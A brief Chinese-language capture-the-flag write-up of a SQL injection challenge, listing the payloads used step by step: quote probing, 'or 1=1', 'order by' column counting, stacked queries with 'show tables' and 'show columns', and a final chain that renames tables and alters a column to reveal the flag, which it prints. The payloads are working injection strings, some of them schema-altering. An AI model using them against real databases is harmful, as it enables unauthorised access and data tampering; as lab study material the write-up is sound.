做题记录
1.先尝试随便输入几个数,发现只有1,2有回显
2.接着尝试在1后面加上单引号或双引号之类的,发现输入单引号会报错(注意引号必须是英文输入法)
3.尝试0' or '1'='1,发现有回显
4.接着尝试order by+数字(1' order by 2#)(2' order by 3#)执行第二句的时候会报错,说明表中只有两列数据
5.接下来使用联合查询1' union select 1,2(但是select被过滤了)
6.接下来获取表名0'; show tables;#(发现有两个表名)
7.然后分别查这个两个表里面的信息
0'; show columns from words;# 0'; show columns from `1919810931114514`;#
8.更改表名列名(因为查询是查id但是id在words中而flag却在另一个表中,于是我们就想到把两个表名换一下,然后flag换为id)是将flag的属性换位id属性
0';rename table `words` to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);show tables;#
9.使用1’ or ‘1’='1查看表的内容就可以获得flag
flag{1866a442-a1ac-41cb-8f73-484e2cc00bea}